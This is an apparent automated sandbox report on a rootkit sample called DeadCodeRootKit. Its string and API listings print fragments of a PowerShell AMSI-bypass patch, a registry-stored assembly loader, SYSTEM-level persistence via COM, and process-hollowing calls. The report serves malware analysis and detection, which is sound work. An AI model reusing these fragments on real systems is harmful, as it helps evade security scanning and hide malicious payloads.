Part of subcall function 00B01869: GetProcessHeap.KERNEL32(00000000,00008000,00000000,00000000,00000000,00B01828,?,?,?,?,?,00B0179E), ref: 00B01873
Part of subcall function 00B01869: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,00B0179E), ref: 00B0187A
Part of subcall function 00B01869: StrCpyW.SHLWAPI(00000000,00B02230), ref: 00B01889
Part of subcall function 00B01869: StrCatW.SHLWAPI(00000000,function Local:Get-Delegate{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ParameterTypes,[Parameter(Position=1)][Type]), ref: 00B018A4
Part of subcall function 00B01869: StrCatW.SHLWAPI(00000000,[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$AmsiScanBufferPtr,8);), ref: 00B018BC
Part of subcall function 00B01869: StrCatW.SHLWAPI(00000000,[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectPtr,$VirtualProtectDelegate).Invoke($AmsiScanBuffe), ref: 00B018C4
Part of subcall function 00B01869: StrCatW.SHLWAPI(00000000,[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(`SOFTWARE`).GetValue(`Deadstager`)).EntryPoint.Inv), ref: 00B018CC
Part of subcall function 00B01869: StrCatW.SHLWAPI(00000000,00B02230), ref: 00B018D0

Part of subcall function 00B01672: SysAllocString.OLEAUT32(Deadsvc32), ref: 00B01684
Part of subcall function 00B01672: SysAllocString.OLEAUT32(00B0218C), ref: 00B0168E
Part of subcall function 00B01672: CoInitializeEx.COMBASE(00000000,00000000), ref: 00B01697
Part of subcall function 00B01672: CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 00B016B1
Part of subcall function 00B01672: CoCreateInstance.OLE32(00B020A8,00000000,00000001,00B02088,?), ref: 00B016DC
Part of subcall function 00B01672: VariantInit.OLEAUT32(?), ref: 00B016EE

Part of subcall function 00B01672: CoUninitialize.COMBASE ref: 00B0177B
Part of subcall function 00B01672: SysFreeString.OLEAUT32(?), ref: 00B0178D
Part of subcall function 00B01672: SysFreeString.OLEAUT32(00000000), ref: 00B01790

Part of subcall function 00B0112D: GetCurrentProcess.KERNEL32(?,00000000,?,?,00B018AB,?,?,?,?,?,00B0179E), ref: 00B0113B
Part of subcall function 00B0112D: IsWow64Process.KERNEL32(00000000,?,?,00B018AB,?,?,?,?,?,00B0179E), ref: 00B01142

Part of subcall function 00B011AB: SysAllocString.OLEAUT32(Deadsvc64), ref: 00B011C0
Part of subcall function 00B011AB: SysAllocString.OLEAUT32(00B0222C), ref: 00B011CA
Part of subcall function 00B011AB: SysAllocString.OLEAUT32(powershell), ref: 00B011D6
Part of subcall function 00B011AB: SysAllocString.OLEAUT32(?), ref: 00B011DE
Part of subcall function 00B011AB: SysAllocString.OLEAUT32(00B0218C), ref: 00B011E8
Part of subcall function 00B011AB: SysAllocString.OLEAUT32(SYSTEM), ref: 00B011F2
Part of subcall function 00B011AB: CoInitializeEx.COMBASE(00000000,00000000), ref: 00B011F9
Part of subcall function 00B011AB: CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 00B01213
Part of subcall function 00B011AB: CoCreateInstance.OLE32(00B020A8,00000000,00000001,00B02088,?), ref: 00B0123C
Part of subcall function 00B011AB: VariantInit.OLEAUT32(?), ref: 00B0124E

Part of subcall function 00B01518: SysAllocString.OLEAUT32(Deadsvc64), ref: 00B0152A
Part of subcall function 00B01518: SysAllocString.OLEAUT32(00B0218C), ref: 00B01536
Part of subcall function 00B01518: CoInitializeEx.OLE32(00000000,00000000), ref: 00B0153D
Part of subcall function 00B01518: CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 00B01557
Part of subcall function 00B01518: CoCreateInstance.OLE32(00B020A8,00000000,00000001,00B02088,?), ref: 00B01580
Part of subcall function 00B01518: VariantInit.OLEAUT32(?), ref: 00B01592

Strings

SOFTWARE, xrefs: 00B017F8
Deadsvc64, xrefs: 00B01836
Deadstager, xrefs: 00B01811
Deadsvc32, xrefs: 00B01828
EXE, xrefs: 00B017AC

Memory Dump Source

Source File: 00000003.00000002.1704154695.0000000000B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000003.00000002.1704125051.0000000000B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1704207253.0000000000B02000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b00000_DeadCodeRootKit.jbxd

Similarity

API ID: String$Alloc$Initialize$Resource$CreateInitInstanceProcessSecurityVariant$FreeHeap$CurrentFindLoadLockOpenSizeofUninitializeValueWow64
String ID: Deadstager$Deadsvc32$Deadsvc64$EXE$SOFTWARE
API String ID: 2402434814-3166964389
Opcode ID: 42b7a81cef5b3601d0ca8e9e6507b6e40d5cd92b0477f464f805bc1186e3b8e9
Instruction ID: b992e5bb7bc6b6ec05ed5b8e45cdfe4d4bb6aa207cf97383213c4968b53b6420
Opcode Fuzzy Hash: 42b7a81cef5b3601d0ca8e9e6507b6e40d5cd92b0477f464f805bc1186e3b8e9
Instruction Fuzzy Hash: 8A1173717003146EE719277A9C9DE3B3DDEDB95B94B0448E9B906E71D1EE20CE0881B0

Function 00B01672 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 131
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32(Deadsvc32), ref: 00B01684
SysAllocString.OLEAUT32(00B0218C), ref: 00B0168E
CoInitializeEx.COMBASE(00000000,00000000), ref: 00B01697
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 00B016B1
CoCreateInstance.OLE32(00B020A8,00000000,00000001,00B02088,?), ref: 00B016DC
VariantInit.OLEAUT32(?), ref: 00B016EE
CoUninitialize.COMBASE ref: 00B0177B
SysFreeString.OLEAUT32(?), ref: 00B0178D
SysFreeString.OLEAUT32(00000000), ref: 00B01790

Strings

Deadsvc32, xrefs: 00B01678, 00B01683

Memory Dump Source

Source File: 00000003.00000002.1704154695.0000000000B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000003.00000002.1704125051.0000000000B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1704207253.0000000000B02000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b00000_DeadCodeRootKit.jbxd

Similarity

API ID: String$AllocFreeInitialize$CreateInitInstanceSecurityUninitializeVariant
String ID: Deadsvc32
API String ID: 4184240511-3318990577
Opcode ID: 6472a1fd3a17b3052e3fcf758df704ebea1d3c3ba32354f369288e9bdcb3e413
Instruction ID: a397a0fde7034f7d47ecde5170f9faa44d524cf5bdf96cae5f2a67e1759d7108
Opcode Fuzzy Hash: 6472a1fd3a17b3052e3fcf758df704ebea1d3c3ba32354f369288e9bdcb3e413
Instruction Fuzzy Hash: EC417271E00218AFDB05DFA8DC889AF7BBDEF49754B104498F905EB150DA71AD05CBA0

Function 00B01000 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(00B01A30,00000000,Microsoft Base Cryptographic Provider v1.0,00000001,F0000000,00000000,00000000,00000000,00000000,?,00B01A30), ref: 00B01020
CryptGenRandom.ADVAPI32(00B01A30,00004000,00000000,?,00B01A30), ref: 00B0102F
CryptReleaseContext.ADVAPI32(00B01A30,00000000,?,00B01A30), ref: 00B01042

Strings

Microsoft Base Cryptographic Provider v1.0, xrefs: 00B01014

Memory Dump Source

Source File: 00000003.00000002.1704154695.0000000000B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000003.00000002.1704125051.0000000000B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1704207253.0000000000B02000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b00000_DeadCodeRootKit.jbxd

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID: Microsoft Base Cryptographic Provider v1.0
API String ID: 1815803762-291530887
Opcode ID: 1b291db2f314329a3eb20d4a341a93e42dc0cbec357c079b7e33c3a1ed2a69b3
Instruction ID: 8b3596a5eda456252a4fdc9414b55a39ec001b2052322915728c092b40fdd4e4
Opcode Fuzzy Hash: 1b291db2f314329a3eb20d4a341a93e42dc0cbec357c079b7e33c3a1ed2a69b3
Instruction Fuzzy Hash: 6FF06572700314BFFB2487E59D4DFAB7AEDDB95791F104465BA01E3190FAA0DD04D660

Function 00B01869 Relevance: 47.3, APIs: 8, Strings: 19, Instructions: 86
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,00008000,00000000,00000000,00000000,00B01828,?,?,?,?,?,00B0179E), ref: 00B01873
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,00B0179E), ref: 00B0187A
StrCpyW.SHLWAPI(00000000,00B02230), ref: 00B01889
StrCatW.SHLWAPI(00000000,function Local:Get-Delegate{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ParameterTypes,[Parameter(Position=1)][Type]), ref: 00B018A4

Part of subcall function 00B0112D: GetCurrentProcess.KERNEL32(?,00000000,?,?,00B018AB,?,?,?,?,?,00B0179E), ref: 00B0113B
Part of subcall function 00B0112D: IsWow64Process.KERNEL32(00000000,?,?,00B018AB,?,?,?,?,?,00B0179E), ref: 00B01142

StrCatW.SHLWAPI(00000000,[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$AmsiScanBufferPtr,8);), ref: 00B018BC
StrCatW.SHLWAPI(00000000,[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectPtr,$VirtualProtectDelegate).Invoke($AmsiScanBuffe), ref: 00B018C4
StrCatW.SHLWAPI(00000000,[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(`SOFTWARE`).GetValue(`Deadstager`)).EntryPoint.Inv), ref: 00B018CC
StrCatW.SHLWAPI(00000000,00B02230), ref: 00B018D0

Strings

[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$AmsiScanBufferPtr,8);, xrefs: 00B018B6
VirtualProtectPtr, xrefs: 00B01951
[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(`SOFTWARE`).GetValue(`Deadstager`)).EntryPoint.Inv, xrefs: 00B018C6
function Local:Get-Delegate{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ParameterTypes,[Parameter(Position=1)][Type], xrefs: 00B0189E
NativeMethods, xrefs: 00B01909
AmsiScanBufferPtr, xrefs: 00B01969
LoadLibraryPtr, xrefs: 00B01945
TypeBuilder, xrefs: 00B018FD
OldProtect, xrefs: 00B01975
VirtualProtectDelegate, xrefs: 00B0192D
[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$AmsiScanBufferPtr,6);, xrefs: 00B018AF
Get-Delegate, xrefs: 00B018D9
ParameterTypes, xrefs: 00B018E5
ReturnType, xrefs: 00B018F1
LoadLibraryDelegate, xrefs: 00B01921
AmsiPtr, xrefs: 00B0195D
Kernel32Ptr, xrefs: 00B01939
[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectPtr,$VirtualProtectDelegate).Invoke($AmsiScanBuffe, xrefs: 00B018BE
GetProcAddress, xrefs: 00B01915

Memory Dump Source

Source File: 00000003.00000002.1704154695.0000000000B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000003.00000002.1704125051.0000000000B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1704207253.0000000000B02000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b00000_DeadCodeRootKit.jbxd

Similarity

API ID: Process$Heap$AllocCurrentWow64
String ID: AmsiPtr$AmsiScanBufferPtr$Get-Delegate$GetProcAddress$Kernel32Ptr$LoadLibraryDelegate$LoadLibraryPtr$NativeMethods$OldProtect$ParameterTypes$ReturnType$TypeBuilder$VirtualProtectDelegate$VirtualProtectPtr$[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(`SOFTWARE`).GetValue(`Deadstager`)).EntryPoint.Inv$[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$AmsiScanBufferPtr,8);$[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$AmsiScanBufferPtr,6);$[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectPtr,$VirtualProtectDelegate).Invoke($AmsiScanBuffe$function Local:Get-Delegate{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ParameterTypes,[Parameter(Position=1)][Type]
API String ID: 2666690646-2533166174
Opcode ID: c895c845931ec100b1f463e3fa26534c881cacbe28fb9c0dac66ba17f1725679
Instruction ID: 130fce0b09ed9e338bd0ed571a6f6d359f86269d33f5b814bffa55fcd8e1cab3
Opcode Fuzzy Hash: c895c845931ec100b1f463e3fa26534c881cacbe28fb9c0dac66ba17f1725679
Instruction Fuzzy Hash: 5B21CFD13015A427DE0E33A9086ED2EADDE8BE2F4472084E4F0415BBD5CE1A8F0783DA

Function 00B011AB Relevance: 42.4, APIs: 20, Strings: 4, Instructions: 356
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32(Deadsvc64), ref: 00B011C0
SysAllocString.OLEAUT32(00B0222C), ref: 00B011CA
SysAllocString.OLEAUT32(powershell), ref: 00B011D6
SysAllocString.OLEAUT32(?), ref: 00B011DE
SysAllocString.OLEAUT32(00B0218C), ref: 00B011E8
SysAllocString.OLEAUT32(SYSTEM), ref: 00B011F2
CoInitializeEx.COMBASE(00000000,00000000), ref: 00B011F9
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 00B01213
CoCreateInstance.OLE32(00B020A8,00000000,00000001,00B02088,?), ref: 00B0123C
VariantInit.OLEAUT32(?), ref: 00B0124E
VariantInit.OLEAUT32(?), ref: 00B013E8
VariantInit.OLEAUT32(?), ref: 00B013EE
VariantInit.OLEAUT32(?), ref: 00B013FE
CoUninitialize.COMBASE ref: 00B014E6
SysFreeString.OLEAUT32(?), ref: 00B014F8
SysFreeString.OLEAUT32(00000000), ref: 00B014FB
SysFreeString.OLEAUT32(?), ref: 00B01500
SysFreeString.OLEAUT32(?), ref: 00B01505
SysFreeString.OLEAUT32(?), ref: 00B0150A
SysFreeString.OLEAUT32(?), ref: 00B0150F

Strings

Deadsvc64, xrefs: 00B011BE, 00B011BF
powershell, xrefs: 00B011CE
SYSTEM, xrefs: 00B011EA
Deadsvc32, xrefs: 00B011B4

Memory Dump Source

Source File: 00000003.00000002.1704154695.0000000000B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000003.00000002.1704125051.0000000000B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1704207253.0000000000B02000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b00000_DeadCodeRootKit.jbxd

Similarity

API ID: String$AllocFree$InitVariant$Initialize$CreateInstanceSecurityUninitialize
String ID: Deadsvc32$Deadsvc64$SYSTEM$powershell
API String ID: 3960698109-685761376
Opcode ID: 775a7dcd5d66b487f7f8beb1649821786b7f6339b113fb56d6989f3783495802
Instruction ID: 085dc1c71908af6d973c207d6aebb9f3bb431697aee6c1e2ccc123605ff04952
Opcode Fuzzy Hash: 775a7dcd5d66b487f7f8beb1649821786b7f6339b113fb56d6989f3783495802
Instruction Fuzzy Hash: 4AC1F771E00119AFDF04DFA9D9889AEBBF9FF49354B104498E905EB260DB71AE05CF60

Function 00B01518 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 151
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32(Deadsvc64), ref: 00B0152A
SysAllocString.OLEAUT32(00B0218C), ref: 00B01536
CoInitializeEx.OLE32(00000000,00000000), ref: 00B0153D
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 00B01557
CoCreateInstance.OLE32(00B020A8,00000000,00000001,00B02088,?), ref: 00B01580
VariantInit.OLEAUT32(?), ref: 00B01592
VariantInit.OLEAUT32(?), ref: 00B01607
CoUninitialize.COMBASE ref: 00B01657
SysFreeString.OLEAUT32(00000000), ref: 00B01664
SysFreeString.OLEAUT32(?), ref: 00B01669

Strings

Deadsvc64, xrefs: 00B01528, 00B01529
Deadsvc32, xrefs: 00B0151E

Memory Dump Source

Source File: 00000003.00000002.1704154695.0000000000B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000003.00000002.1704125051.0000000000B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1704207253.0000000000B02000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b00000_DeadCodeRootKit.jbxd

Similarity

API ID: String$AllocFreeInitInitializeVariant$CreateInstanceSecurityUninitialize
String ID: Deadsvc32$Deadsvc64
API String ID: 2407135876-806753349
Opcode ID: 543a6ec4b3c6ae8dc14678402670cab475f8d471908d34dc8c4b2dbfff3e56ac
Instruction ID: 9287d4316719b38f190d61e743da470350d43a9e458092ce5e47c21ac0860195
Opcode Fuzzy Hash: 543a6ec4b3c6ae8dc14678402670cab475f8d471908d34dc8c4b2dbfff3e56ac
Instruction Fuzzy Hash: 89413171E00219AFDB01DFA8DC889AFBBBDEF49314B144498F905EB250DA71AD45CBA0

Function 00B01987 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 36
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(Get-Delegate,00000000,00B02230), ref: 00B0199A
StrStrIW.SHLWAPI(00000000,Get-Delegate), ref: 00B019B6
StrStrIW.SHLWAPI(?,Get-Delegate,75B12EB0), ref: 00B019D3

Strings

Get-Delegate, xrefs: 00B01996, 00B019B4, 00B019CA

Memory Dump Source

Source File: 00000003.00000002.1704154695.0000000000B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000003.00000002.1704125051.0000000000B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1704207253.0000000000B02000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b00000_DeadCodeRootKit.jbxd

Similarity

API ID: lstrlen
String ID: Get-Delegate
API String ID: 1659193697-1365458365
Opcode ID: fcad9cf41d18166cd7fe7b656fd62e3ad064be85e67adbf2caad615e74319b52
Instruction ID: 3d6765d67db00a63c56ce458f6de2550116e1a9bcad23fc1dd317e58cfb8dbfa
Opcode Fuzzy Hash: fcad9cf41d18166cd7fe7b656fd62e3ad064be85e67adbf2caad615e74319b52
Instruction Fuzzy Hash: 3DF05471B00219ABDB249BA99D487AEBBFDEF44384F0000A6E509F3150FE709E06C6A0

Function 00B01799 Relevance: 3.0, APIs: 2, Instructions: 3
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B017A6: FindResourceA.KERNEL32(00000000,00000065,EXE), ref: 00B017B6
Part of subcall function 00B017A6: SizeofResource.KERNEL32(00000000,00000000,?,?,?,?,?,00B0179E), ref: 00B017C9
Part of subcall function 00B017A6: LoadResource.KERNEL32(00000000,00000000,?,?,?,?,?,00B0179E), ref: 00B017DB
Part of subcall function 00B017A6: LockResource.KERNEL32(00000000,?,?,?,?,?,00B0179E), ref: 00B017E6
Part of subcall function 00B017A6: RegOpenKeyExW.KERNELBASE(80000002,SOFTWARE,00000000,000F013F,?,?,?,?,?,?,00B0179E), ref: 00B01802
Part of subcall function 00B017A6: RegSetValueExW.KERNELBASE(?,Deadstager,00000000,00000003,00000000,00000000,?,?,?,?,?,00B0179E), ref: 00B01819

ExitProcess.KERNEL32 ref: 00B0179F

Memory Dump Source

Source File: 00000003.00000002.1704154695.0000000000B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000003.00000002.1704125051.0000000000B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1704207253.0000000000B02000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b00000_DeadCodeRootKit.jbxd

Similarity

API ID: Resource$ExitFindLoadLockOpenProcessSizeofValue
String ID:
API String ID: 3836967525-0
Opcode ID: 2c155d8ae0ddda3e82cbe6d2ee6283a665921b915cd2446f52ea811bc906a3a1
Instruction ID: 09ff60b56266a7afc6ea845f5dc7bac3953be539f21b674973b811773efe385f
Opcode Fuzzy Hash: 2c155d8ae0ddda3e82cbe6d2ee6283a665921b915cd2446f52ea811bc906a3a1
Instruction Fuzzy Hash:

Non-executed Functions

Function 00B0118C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 10
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,00B01176,?), ref: 00B01191
GetProcAddress.KERNEL32(00000000,RtlGetVersion), ref: 00B011A1

Strings

RtlGetVersion, xrefs: 00B0119B
ntdll.dll, xrefs: 00B0118C

Memory Dump Source

Source File: 00000003.00000002.1704154695.0000000000B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000003.00000002.1704125051.0000000000B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1704207253.0000000000B02000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b00000_DeadCodeRootKit.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: RtlGetVersion$ntdll.dll
API String ID: 1646373207-1489217083
Opcode ID: 866f889c558d675e83477d6203bfdabd72d7f9d43e900279403a965f474cab53
Instruction ID: a70f3d5828a9bb2ed224a698464ac569cc7196527bc4805cd1323b6965f12f6f
Opcode Fuzzy Hash: 866f889c558d675e83477d6203bfdabd72d7f9d43e900279403a965f474cab53
Instruction Fuzzy Hash: 77C09270FC13009AFF1A2FB0DD0DA1A3ED89E68B0338408D2B205F20E4EE64C40CD520

Analysis Process: powershell.exePID: 5480, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	7.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	44.4%
Total number of Nodes:	27
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9B7F0C4D Relevance: 1.6, APIs: 1, Instructions: 130
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtWriteVirtualMemory.NTDLL ref: 00007FFD9B7F0D17

Memory Dump Source

Source File: 00000004.00000002.1946439518.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b7e0000_powershell.jbxd

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: 7f7e9a2abca5b76a5701a82e9025d6660e9e83a65a10e9592c594c3fa0f738ad
Instruction ID: 852bc6d63eae524ba9efdaed389421539da00224822b300e8f622d591dcf265e
Opcode Fuzzy Hash: 7f7e9a2abca5b76a5701a82e9025d6660e9e83a65a10e9592c594c3fa0f738ad
Instruction Fuzzy Hash: C431B331A0CB4C8FDB18DF58D885AE9BBE0FB59711F04426ED059D3692CB70A846CB85

Function 00007FFD9B7F0FD4 Relevance: 1.6, APIs: 1, Instructions: 115
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtResumeThread.NTDLL ref: 00007FFD9B7F1085

Memory Dump Source

Source File: 00000004.00000002.1946439518.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b7e0000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 92bfed4054fa27ef5f6274612569d5f0a4c861a153082e1e44fb9e5afac811e3
Instruction ID: 9c2f7d1317a029e25b3ad85b060b90eb59cbfc9cbb19afa91d479e9d58dcce52
Opcode Fuzzy Hash: 92bfed4054fa27ef5f6274612569d5f0a4c861a153082e1e44fb9e5afac811e3
Instruction Fuzzy Hash: 2831D331A0C64C8FDB58DFA8D845BEDBBE1EF56320F04426BD059D3292CB74A846CB91

Function 00007FFD9B7F0A2E Relevance: 1.6, APIs: 1, Instructions: 115
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 00007FFD9B7F0AEB

Memory Dump Source

Source File: 00000004.00000002.1946439518.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b7e0000_powershell.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: b11e35f54595c5c8f542c23d6916185117eb706ea8d953628cc4cddc2721e18e
Instruction ID: fe72e7335dce88b5025489f02ca336fb1dbce004e85da269f5ed4253d02cd182
Opcode Fuzzy Hash: b11e35f54595c5c8f542c23d6916185117eb706ea8d953628cc4cddc2721e18e
Instruction Fuzzy Hash: 4E31F630A0C6888FDB59DF68C855BE97FF0EF56320F08429FD049C72A7D664A446CB92

Function 00007FFD9B7F0F10 Relevance: 1.6, APIs: 1, Instructions: 98
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSetContextThread.NTDLL ref: 00007FFD9B7F0F9B

Memory Dump Source

Source File: 00000004.00000002.1946439518.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b7e0000_powershell.jbxd

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 0d531f4c7956a762bee5dfe99da4d2d1b2d29844d51c5e75a093fec336e9a9b7
Instruction ID: f971b4db0f2fe464e28b8880571d3cfa44a450df3d1965a8ca4abdf58f33bd38
Opcode Fuzzy Hash: 0d531f4c7956a762bee5dfe99da4d2d1b2d29844d51c5e75a093fec336e9a9b7
Instruction Fuzzy Hash: DE21B131A0CB4C8FDB58DF98D886BE97BF0EB96320F04416FD049C3252CA74A846CB91

Function 00007FFD9B7F0211 Relevance: 2.4, APIs: 1, Instructions: 888
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE ref: 00007FFD9B7F092D

Memory Dump Source

Source File: 00000004.00000002.1946439518.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b7e0000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 35970d58cde7fab5887ffc7b0f35bbc9b55bfa8eba718646a4097a295dcd37f8
Instruction ID: 9274fc603f5511586327b0fc72cde6dae9cb650442ad05c8cd8ada9b15e41af8
Opcode Fuzzy Hash: 35970d58cde7fab5887ffc7b0f35bbc9b55bfa8eba718646a4097a295dcd37f8
Instruction Fuzzy Hash: 44D11330619B8D4FEB64DF28CC567E57BE0FF55310F0542AAD88DC72A2DA34A9458BC2

Function 00007FFD9B7EEAEA Relevance: 1.7, APIs: 1, Instructions: 247
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingW.KERNELBASE ref: 00007FFD9B7EEC96

Memory Dump Source

Source File: 00000004.00000002.1946439518.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b7e0000_powershell.jbxd

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: 8c3dac3b35d228fc4cbd1ae7fc24a1ed6cbeb155b459b81a96ea458c56a2184f
Instruction ID: 58c6497b259cc7a9975cde2ffd953a27fa3ecb0bbda94825e9558a1d5080efb3
Opcode Fuzzy Hash: 8c3dac3b35d228fc4cbd1ae7fc24a1ed6cbeb155b459b81a96ea458c56a2184f
Instruction Fuzzy Hash: 5A71C630608B8D4FDB59DF28CC567E57BE1FF59310F1442AAE84DC72A2DA74A8418B82

Function 00007FFD9B7EE89C Relevance: 1.7, APIs: 1, Instructions: 229
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

